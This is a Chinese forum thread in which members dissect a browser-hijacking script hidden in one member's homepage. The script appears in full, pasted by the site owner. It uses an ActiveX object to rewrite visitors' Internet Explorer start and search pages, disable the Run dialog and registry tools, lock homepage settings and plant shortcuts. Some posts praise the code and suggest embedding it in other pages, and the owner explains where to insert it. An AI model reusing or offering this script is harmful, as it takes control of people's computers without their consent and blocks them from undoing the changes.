桃花坞里桃花庵 桃花庵下桃花仙 桃花仙人种桃树 又摘桃花换酒钱 别人笑我太疯颠 我笑他人看不穿 不见武陵豪杰墓 无花无酒锄作田... ...

好象有点多了~！希望大家见谅！
这里面有木马，各位高手能找出来么？
然后找到对付的办法
有人中了这种木马……

是什么呀？我看不懂呢。。

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "心电情缘-http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Local Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecChangeSettings", "1");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}", "Internet 连接向导");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://www.yaguo.com/~xindian");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title

睡蝶，如果我早一点找到这段原代码的话
你就不用从装系统了~！
就是这段代码害的你！

各位喜欢编程的朋友们
我个人认为这段代码很不错
可以以它为样本，加进网页的代码里
就可以任意修改被访这的注册表了

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "心电情缘", "http://www.yaguo.com/~xindian");
AddFavLnk(loc+"\链接", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "启动 Internet Explorer 浏览器", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\start menu", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\windows\Desktop", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Start Menu\Programs", "Internet Explorer", "http://www.yaguo.com/~xindian");

你怎么会中了.....这........YAGUO，，我不说了......

我没有中啊~

倒~~~~~~~~ 我还是看不明白啊！~：（

有无搞错呀！把我的网页里的代码放在谷里？出丑吗？化石同志呀！唉！没办法，不知道我是谁吧！我就是那个主页的主人，对，情非得已。你不错。

不过什么啊？
不是出丑啊，大家研究一下啊！
你知道有问题干吗还介绍给睡同志啊？

呵呵，不是他给我的！~

不就是为了宣传我的网站吗？但我想把你们所说的这个“木马”改掉了！因为我就要毕来，网页余的好多内容没有时间做呀！好，你们拿去研究吧！

写的很清楚啊
看懂英文就可以
---b_l_u_e_s_k_y

这是一个很不错的植入木马的方法
要在网络上防止被黑，首先要先了解他们的方法
情同志我没有说你是黑客的意思，
要不是你我也不会了解这个方法，
大家在这里交流一下对网络安全也有好处
如果你改掉了木马和修改注册表什么的
我们会也会去给你的网页捧场的，你说呢？

我的网站一开始是做了好多好多,做都不尽爽心,后来尽数删除,然后只是做了了听吧和动画,我的初衷只是为了那些心情好与不好的同志们在快乐与不快乐时来我这个网站看看,来听听那些老歌,那些好听的歌,只愿为我们带来快乐,欢愉的心情.我承认我的源程序里是有可以修改木马的语句,我就要毕业了,以后只有很少的时间来上网,时间已不再属于我,都会被我的事业抢走,从此我只身体上很累但精神上很充实地活了,我的免费主页空间不知道什么时候会被收回,我要走了,正如我轻轻在来,化石同志所列出的那些源程序其实也不全,有多有少,要改很多才可以加入自己的网站得以成功,我想你们不愿看到我这样做,肯定也不会加的,我是计算机专业的,但我知道我的能力有限,我是个好人,愿我们蝶谷越来越好,不管怎么都永远充满着温馨与快乐,
宝姑娘我不得不承认是个美女和才女,很想认识她,但昨天开会我没有时间去参加,
我今天是第一次说"我们蝶谷"感谢生活,感谢网络.

我相信你是个好人，你能说出这些心里话，我也有种莫名的感动，因为我也喜欢计算机，喜欢用它来表达我的喜怒哀乐，所以我来到了蝴蝶谷，融入这个大家庭中，我也一直把各位蝴蝶当做自己的兄弟姐妹。我相信缘分，我也会珍惜这份缘分的。

<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (document.cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "心电情缘-http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\First Home Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Local Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Start Page", "http://www.yaguo.com/~xindian");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1");
Shl.RegWrite ("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecChangeSettings", "1");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}", "Internet 连接向导");
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://www.yaguo.com/~xindian");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "心电情缘", "http://www.yaguo.com/~xindian");
AddFavLnk(loc+"\链接", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Application Data\Microsoft\Internet Explorer\Quick Launch", "启动 Internet Explorer 浏览器", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\start menu", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\windows\Desktop", "Internet Explorer", "http://www.yaguo.com/~xindian");
AddFavLnk("C:\WINDOWS\Start Menu\Programs", "Internet Explorer", "http://www.yaguo.com/~xindian");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</script>

以上就是我网站那些能修改注册表的全部程序了,再次向大家道道歉,我的网站近来得到了大多人的支持,今天我的网站访问量有望达到900个,IP可以达到110个,
可能很多人"不敢"来我的网站来看看,不过我可以把我的相片地址发给各位.这只是信箱里的相片,绝对不会影响各位什么的:
http://ms18.263.net/cgi/ldmsapp/未标题-105.jpg?funcid=readpart&sid=gAKbyYCDrDIAgOER&mid=M03ZOLicC4zH7f5o9FSA&part=2&filename=未标题-105.jpg

谨此!祝大家快乐永远.我是情非得已.

对不起,由于网站正在宣传中,可能还不会删除那些东东,
不想多解释什么,希望大家能理解.

那木马在程序的什么位置啊？
是个什么木马？

我是用Frontpqge2000做的,只要加在<head>和</head>之间就行了!就是能修改注册表,让你的电脑默认网页为主页呀!
不认?强迫你默认,

同样是不是也可以修改注册表的其他部分？
要如何调用木马啊？

默认其页面为首页就是木马吗？？这好像是大多数网站用的宣传手法。不过我不懂啦。宝宝是白痴。。。。如果中了招还请大家帮忙哟。。。。。。。。。。。

我说也是啊！蝴蝶宝宝不愧是蝴蝶宝宝，一击即中，什么木马呀？不是，知道木马是什么吗？就是一个“木”一个“马”，怎么跟一个默认为主页的小小程序相提并论？
算了，你们怎么说我不见怪，只要梅子不说，睡蝶不说，宝宝不说就好！

默认为首页当然不是木马啦
可是为什么进主页的时候会跳出防火墙的杀毒程序呢？

我们的计算机怎么不会出现那种情况呀?不会是你的杀毒老先生现在该退休了吧!不过不可能呀!?那为什么呀?可能是你的电脑哪个文件.......不会吧!不过不要乱推责任呀!------------也许真是我的错,唉!网络说不清,

我看几次了，都没看明白！~~~~~~~~
我晕！~~~~~

睡睡，是你笨呀！呵！~~~~~~~~~`````

我笨？不会吧，有人说我很精明的呢！~